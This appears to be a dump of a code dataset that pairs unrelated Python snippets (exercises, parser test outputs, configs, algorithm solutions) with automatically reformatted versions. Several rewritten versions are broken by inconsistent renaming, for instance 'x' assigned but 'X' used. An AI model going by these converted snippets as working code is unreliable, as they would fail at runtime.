def findDecision(obj): #obj[0]: Driving_to, obj[1]: Passanger, obj[2]: Weather, obj[3]: Temperature, obj[4]: Time, obj[5]: Coupon, obj[6]: Coupon_validity, obj[7]: Gender, obj[8]: Age, obj[9]: Maritalstatus, obj[10]: Children, obj[11]: Education, obj[12]: Occupation, obj[13]: Income, obj[14]: Bar, obj[15]: Coffeehouse,... | def find_decision(obj):
if obj[5] > 0:
if obj[6] > 0:
if obj[0] <= 0:
if obj[2] <= 0:
if obj[13] <= 5:
if obj[15] > 1.0:
if obj[17] <= 3.0:
return 'True'
... |
expected_output = {
'agent_url': 'tftp://10.1.1.1/directory/file',
'write_delay_secs': 300,
'abort_timer_secs': 300,
'agent_running': 'No',
'delay_timer_expiry': '7 (00:00:07)',
'abort_timer_expiry': 'Not Running',
'last_succeeded_time': 'None',
'last_failed_time': '17:14:25 UTC Sat Jul ... | expected_output = {'agent_url': 'tftp://10.1.1.1/directory/file', 'write_delay_secs': 300, 'abort_timer_secs': 300, 'agent_running': 'No', 'delay_timer_expiry': '7 (00:00:07)', 'abort_timer_expiry': 'Not Running', 'last_succeeded_time': 'None', 'last_failed_time': '17:14:25 UTC Sat Jul 7 2001', 'last_failed_reason': 'U... |
class Config(object):
SECRET_KEY = 'key'
class ProductionConfig(Config):
pass
# DEBUG = False
class DebugConfig(Config):
pass
# DEBUG = True
class GAEConfig(Config):
pass
# DEBUG = False
| class Config(object):
secret_key = 'key'
class Productionconfig(Config):
pass
class Debugconfig(Config):
pass
class Gaeconfig(Config):
pass |
def minion_game(string):
length = len(string)
the_vowel = "AEIOU"
kiven = 0
stuart = 0
for i in range(length):
if ( string[i] in the_vowel):
kiven = kiven + length - i
else:
stuart = stuart + length - i
if kiven > stuart:
print ("K... | def minion_game(string):
length = len(string)
the_vowel = 'AEIOU'
kiven = 0
stuart = 0
for i in range(length):
if string[i] in the_vowel:
kiven = kiven + length - i
else:
stuart = stuart + length - i
if kiven > stuart:
print('Kevin %d' % kiven)
... |
#coding:utf-8
def fun(NAV):
h=NAV[0]
mdd=0
for i in range(NAV.shape[0]):
h=max(h,NAV[i])
mdd=min(mdd,(NAV[i]-h)/h)
return mdd
| def fun(NAV):
h = NAV[0]
mdd = 0
for i in range(NAV.shape[0]):
h = max(h, NAV[i])
mdd = min(mdd, (NAV[i] - h) / h)
return mdd |
class Solution:
def average(self, salary: List[int]) -> float:
sum = 0
max = 999
min = 1000001
len = -2
for i in salary:
sum += i
len += 1
if i<min:
min = i
if i>max:
max = i
return (sum -... | class Solution:
def average(self, salary: List[int]) -> float:
sum = 0
max = 999
min = 1000001
len = -2
for i in salary:
sum += i
len += 1
if i < min:
min = i
if i > max:
max = i
return (... |
li = [1, 2, 3, 4, 5, 6]
li = ['a', 'b', 'c']
li = [1, 2, 'a', True]
amazon_cart = ['Notebooks','sunglasses']
print(amazon_cart[1])
# Data Structure
| li = [1, 2, 3, 4, 5, 6]
li = ['a', 'b', 'c']
li = [1, 2, 'a', True]
amazon_cart = ['Notebooks', 'sunglasses']
print(amazon_cart[1]) |
# Copyright (c) 2021 by Cisco Systems, Inc.
# All rights reserved.
expected_output = {"evi": {
1: {
"producer": {
"BGP": {
"host_ip": {
"192.168.11.254": {
... | expected_output = {'evi': {1: {'producer': {'BGP': {'host_ip': {'192.168.11.254': {'eth_tag': {0: {'mac_addr': {'0011.0011.0011': {'next_hops': ['L:16 1.1.1.1']}}}}}}}, 'L2VPN': {'host_ip': {'192.168.11.254': {'eth_tag': {0: {'mac_addr': {'0011.0011.0011': {'next_hops': ['BD11:0']}}}}}}}}}}} |
def call(b): return b # Break here will hit once at creation time and then at each call.
call(1)
call(2)
print('TEST SUCEEDED') | def call(b):
return b
call(1)
call(2)
print('TEST SUCEEDED') |
def outer_func(str1):
var1 = " is awesome"
def nested_func():
print(str1 + var1)
return nested_func
myobj = outer_func('Python')
myobj()
| def outer_func(str1):
var1 = ' is awesome'
def nested_func():
print(str1 + var1)
return nested_func
myobj = outer_func('Python')
myobj() |
# This file contains global parameters, that are used in the run_* python scripts in order to
# configure AdaM, PEWMA or ARTC
######################### Configuration of utilities used by AdaM / ARTC ##########################
# PID controller: proportional, integral, and differential gain
aP, aI, aD = 2, .002, .3
# PE... | (a_p, a_i, a_d) = (2, 0.002, 0.3)
(alpha, beta) = (0.5, 0.6)
d_init = 20
min_interval_diameter = 1
min_step_size = 1
gamma = 0.2
source_dir = 'data/'
amount_iterations = 1
amount_iterations = 10
max_amount_samples = 100000
max_amount_samples = -1 |
#isi tuple
a = ('a', 'b', 'c')
#tuple nested
isi1 = ("banana")
isi2 = ("sama dengan")
isi3 = ("pisang")
b = (isi1, isi2, isi3)
#memanggil tuple
print('#memanggil tuple')
print(a[1])
print('')
#memotong tuple
print('#memotong tuple')
print(a[0:2])
print('')
#memanggil tuple nested
print('#tuple nested')
print(b)
| a = ('a', 'b', 'c')
isi1 = 'banana'
isi2 = 'sama dengan'
isi3 = 'pisang'
b = (isi1, isi2, isi3)
print('#memanggil tuple')
print(a[1])
print('')
print('#memotong tuple')
print(a[0:2])
print('')
print('#tuple nested')
print(b) |
# Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'targets': [
{
'target_name': 'webkit_resources',
'type': 'none',
'variables': {
'grit_out_dir': '<(SHARED_INTERMEDIATE_DIR... | {'targets': [{'target_name': 'webkit_resources', 'type': 'none', 'variables': {'grit_out_dir': '<(SHARED_INTERMEDIATE_DIR)/webkit'}, 'actions': [{'action_name': 'webkit_resources', 'variables': {'grit_grd_file': 'glue/resources/webkit_resources.grd'}, 'includes': ['../build/grit_action.gypi']}, {'action_name': 'blink_c... |
class ParserRegistry:
def __init__(self):
self.parser_classes = {}
def add(self, url):
def wrapper(parser_class):
self.parser_classes[url] = parser_class
return parser_class
return wrapper
_parser_registry = ParserRegistry() # pylint: disable=invalid-name
d... | class Parserregistry:
def __init__(self):
self.parser_classes = {}
def add(self, url):
def wrapper(parser_class):
self.parser_classes[url] = parser_class
return parser_class
return wrapper
_parser_registry = parser_registry()
def add_parser(url: str):
retu... |
expected_output = {
"interface-information": {
"physical-interface": [
{
"active-alarms": {
"interface-alarms": {
"alarm-not-present": True
}
},
"active-defects": {
... | expected_output = {'interface-information': {'physical-interface': [{'active-alarms': {'interface-alarms': {'alarm-not-present': True}}, 'active-defects': {'interface-alarms': {'alarm-not-present': True}}, 'admin-status': {'@junos:format': 'Enabled'}, 'bpdu-error': 'None', 'cos-information': {'cos-stream-information': ... |
X = int(input())
ans = 0
if X == 1:
print(1)
else:
for i in range(2, X+1):
tmp = i
tmp_ans = 0
j = 2
while tmp_ans <= X:
tmp_ans = tmp ** j
if tmp_ans <= X:
ans = max(ans, tmp_ans)
j += 1
print(ans)
| x = int(input())
ans = 0
if X == 1:
print(1)
else:
for i in range(2, X + 1):
tmp = i
tmp_ans = 0
j = 2
while tmp_ans <= X:
tmp_ans = tmp ** j
if tmp_ans <= X:
ans = max(ans, tmp_ans)
j += 1
print(ans) |
#Question3
#Set and its default functions..........
#Syntax variable={E1,E2,E3,E4............................}
s={1,2,3,4,5}
print("printing the elements....",s)
#5 functions in set..........
#add() Adds an element to the set
s.add(6)
print("After adding an element in the set........",s)
#len... | s = {1, 2, 3, 4, 5}
print('printing the elements....', s)
s.add(6)
print('After adding an element in the set........', s)
l = len(s)
print('Printing the length of the items present in the list...', l)
a = {1, 2, 3}
b = {3, 4, 5, 6}
u = a.union(b)
print('Union of A and B is ', u)
i = a.intersection(b)
print('Intersectio... |
def merge(a, b):
res = []
a_i = 0
b_i = 0
_a_ = len(a)
_b_ = len(b)
for i in range(_a_ + _b_):
if a_i == _a_:
res.append(b[b_i])
b_i += 1
continue
if b_i == _b_:
res.append(a[a_i])
a_i += 1
continue
if a[a_i] <= b[b_i]:
res.append(a[a_i])
a_i += 1
else:
res.append(b[b_i])
b... | def merge(a, b):
res = []
a_i = 0
b_i = 0
_a_ = len(a)
_b_ = len(b)
for i in range(_a_ + _b_):
if a_i == _a_:
res.append(b[b_i])
b_i += 1
continue
if b_i == _b_:
res.append(a[a_i])
a_i += 1
continue
i... |
#!/usr/bin/env python3
'''
*** Assignment - Problem Set #2: The Solution
2: Find the first repeating element in an array of integers
Given an array of integers, find the first repeating element in it. We need to find the element that occurs more than once and whose index of first occurrence is smallest.
Example:
... | """
*** Assignment - Problem Set #2: The Solution
2: Find the first repeating element in an array of integers
Given an array of integers, find the first repeating element in it. We need to find the element that occurs more than once and whose index of first occurrence is smallest.
Example:
I/P: arr=[100,5,3,1,0,5... |
class ConfigError(StandardError):
def __init__(self, value):
self.value = value
def __str__(self):
return repr(self.value)
class InvalidTokenError(StandardError):
def __init__(self, value):
self.value = value
def __str__(self):
return repr(self.value)
class SessionE... | class Configerror(StandardError):
def __init__(self, value):
self.value = value
def __str__(self):
return repr(self.value)
class Invalidtokenerror(StandardError):
def __init__(self, value):
self.value = value
def __str__(self):
return repr(self.value)
class Sessione... |
{
"username":"[USER USERNAME]",
"password":"[USER PASSWORD]"
}
| {'username': '[USER USERNAME]', 'password': '[USER PASSWORD]'} |
ABC=list(map(int,input().split()))
K=int(input())
for k in range(K):
maximum=max(ABC)
ABC.remove(maximum)
ABC.append(maximum*2)
print(sum(ABC)) | abc = list(map(int, input().split()))
k = int(input())
for k in range(K):
maximum = max(ABC)
ABC.remove(maximum)
ABC.append(maximum * 2)
print(sum(ABC)) |
#!/usr/bin/env python3
# Differences between the sort() method and sorted() function
games = ['Portal', 'Minecraft', 'Pacman', 'Tetris', 'The Sims', 'Pokemon']
games_sorted = sorted(games)
print(games)
print(games_sorted) # The sorted() function returns a new list
print(games.sort()) # The sort() method changes the... | games = ['Portal', 'Minecraft', 'Pacman', 'Tetris', 'The Sims', 'Pokemon']
games_sorted = sorted(games)
print(games)
print(games_sorted)
print(games.sort()) |
# function to sort list of integers in place
# flag ascending is used to determine the sorting type i.e. ascending or descending
# insertion sort inserts elements into the left part of the array such that the left part is always sorted
# time complexity = O(n^2), but better than selection since best case complexity is... | def insertion_sort(a, ascending=True):
n = len(a)
for i in range(1, n):
key = a[i]
j = i - 1
while j > -1:
if ascending:
if key < a[j]:
(a[j], a[j + 1]) = (a[j + 1], a[j])
else:
break
elif -ke... |
# Numeric data type in python
print(2)
print(2.0)
print(1+2j)
print(type(2))
print(type(2.0))
print(type(1+2j))
| print(2)
print(2.0)
print(1 + 2j)
print(type(2))
print(type(2.0))
print(type(1 + 2j)) |
class Zoo:
__slots__ = 'name, __budget, __animal_capacity, __workers_capacity, animals, workers'.split(', ')
def __init__(self, name, budget, animal_capacity, workers_capacity):
self.name = name
self.animals = []
self.workers = []
self.__budget = budget
self.__animal_ca... | class Zoo:
__slots__ = 'name, __budget, __animal_capacity, __workers_capacity, animals, workers'.split(', ')
def __init__(self, name, budget, animal_capacity, workers_capacity):
self.name = name
self.animals = []
self.workers = []
self.__budget = budget
self.__animal_cap... |
def findMaximum(x, y):
max2 = 0
if(x > y):
max2 = x
else:
max2 = y
return max2
print(findMaximum(3, 2))
def _max(x, y):
return x if x > y else y
print(_max(3, 2)) | def find_maximum(x, y):
max2 = 0
if x > y:
max2 = x
else:
max2 = y
return max2
print(find_maximum(3, 2))
def _max(x, y):
return x if x > y else y
print(_max(3, 2)) |
list=[]
for i in range(2000, 2300):
if (i%7==0) and (i%5 !=0):
list.append(str(i)) #join() works with strings only
print (", ".join(list))
| list = []
for i in range(2000, 2300):
if i % 7 == 0 and i % 5 != 0:
list.append(str(i))
print(', '.join(list)) |
#todo: check result with double precision
alg.aggregation (
[],
[ ( Reduction.SUM, "rev", "revenue" ),
( Reduction.COUNT, "rev", "count" ) ],
alg.map (
"rev",
scal.MulExpr (
scal.AttrExpr ( "l_extendedprice" ),
scal.AttrExpr ( "l_discount" )
),
... | alg.aggregation([], [(Reduction.SUM, 'rev', 'revenue'), (Reduction.COUNT, 'rev', 'count')], alg.map('rev', scal.MulExpr(scal.AttrExpr('l_extendedprice'), scal.AttrExpr('l_discount')), alg.selection(scal.AndExpr(scal.LargerEqualExpr(scal.AttrExpr('l_shipdate'), scal.ConstExpr('19940101', Type.DATE)), scal.AndExpr(scal.S... |
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is awesome")
print("this is aweso... | print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is awesome')
print('this is aweso... |
class ListNode:
def __init__(self, x):
self.val = x
self.next = None
# Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
def getKthFromEnd(self, head: ListNode, k: int) -> ListNode:
fast,... | class Listnode:
def __init__(self, x):
self.val = x
self.next = None
class Solution:
def get_kth_from_end(self, head: ListNode, k: int) -> ListNode:
(fast, slow) = (head, head)
for i in range(k):
fast = fast.next
while fast:
fast = fast.next
... |
def tree_insert(T, z):
'''
Insert node z to tree T
'''
y = None
x = T.root
while x != None:
y = x
if z.key < x.key:
x = x.left
else:
x = x.right
z.p = y
if y == None:
T.root = z
elif z.key < y.key:
y.left = z
else:
... | def tree_insert(T, z):
"""
Insert node z to tree T
"""
y = None
x = T.root
while x != None:
y = x
if z.key < x.key:
x = x.left
else:
x = x.right
z.p = y
if y == None:
T.root = z
elif z.key < y.key:
y.left = z
else:
... |
for i in range(201):
if (i % 5 == 0 and i % 7 != 0):
print('Liczba :', i, 'jest podzielna przez 5 i niepodzielna przez 7.')
| for i in range(201):
if i % 5 == 0 and i % 7 != 0:
print('Liczba :', i, 'jest podzielna przez 5 i niepodzielna przez 7.') |
# -*- coding:utf-8 -*-
class Chairman:
def __init__(self):
self.title = ''
self.name = ''
self.href = ''
self.img = ''
self.num = ''
self.desc = ''
self.type = ''
self.avatar = ''
def __repr__(self):
return "[" + self.type +... | class Chairman:
def __init__(self):
self.title = ''
self.name = ''
self.href = ''
self.img = ''
self.num = ''
self.desc = ''
self.type = ''
self.avatar = ''
def __repr__(self):
return '[' + self.type + ']-[' + self.title + ']-[' + self.na... |
def median(lst):
n = len(lst)
s = sorted(lst)
return (sum(s[n//2-1:n//2+1])/2.0, s[n//2])[n % 2] if n else None
print("Enter numbers. To quit enter 0: ")
average = 0
count = 0
total = 0
user_input = int(input())
thislist = []
while user_input != 0:
numbers = user_input
total += num... | def median(lst):
n = len(lst)
s = sorted(lst)
return (sum(s[n // 2 - 1:n // 2 + 1]) / 2.0, s[n // 2])[n % 2] if n else None
print('Enter numbers. To quit enter 0: ')
average = 0
count = 0
total = 0
user_input = int(input())
thislist = []
while user_input != 0:
numbers = user_input
total += numbers
... |
# Written by Rabia Alhaffar in 18/July/2020
# Main info
pyjoy_version = "v0.0.3" # Version
pyjoy_author = "Rabia Alhaffar" # Author
pyjoy_use_cli = False # CLI is disabled by default for distributing in games
def xrange(x):
return range(x)
| pyjoy_version = 'v0.0.3'
pyjoy_author = 'Rabia Alhaffar'
pyjoy_use_cli = False
def xrange(x):
return range(x) |
def cartoon(img):
color = cv2.bilateralFilter(img, 9,300,300)
cartoon = cv2.bitwise_and(color, color, mask = edge())
cartoon = cv2.detailEnhance(cartoon, sigma_s= enhance, sigma_r=0.15)
return cartoon
| def cartoon(img):
color = cv2.bilateralFilter(img, 9, 300, 300)
cartoon = cv2.bitwise_and(color, color, mask=edge())
cartoon = cv2.detailEnhance(cartoon, sigma_s=enhance, sigma_r=0.15)
return cartoon |
#
# PySNMP MIB module Nortel-Magellan-Passport-PppMIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Nortel-Magellan-Passport-PppMIB
# Produced by pysmi-0.3.4 at Wed May 1 14:28:11 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Pytho... | (integer, object_identifier, octet_string) = mibBuilder.importSymbols('ASN1', 'Integer', 'ObjectIdentifier', 'OctetString')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(value_range_constraint, constraints_union, constraints_intersection, single_value_constraint, value_size_constraint) ... |
false_positive_mononuclear = np.intersect1d(np.where(y_pred == 1), np.where(y_test == 0))
img = X_test[false_positive_mononuclear[0]]
plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))
plt.show()
false_positive_polynuclear = np.intersect1d(np.where(y_pred == 0), np.where(y_test == 1))
img = X_test[false_positive_... | false_positive_mononuclear = np.intersect1d(np.where(y_pred == 1), np.where(y_test == 0))
img = X_test[false_positive_mononuclear[0]]
plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))
plt.show()
false_positive_polynuclear = np.intersect1d(np.where(y_pred == 0), np.where(y_test == 1))
img = X_test[false_positive_polynucl... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.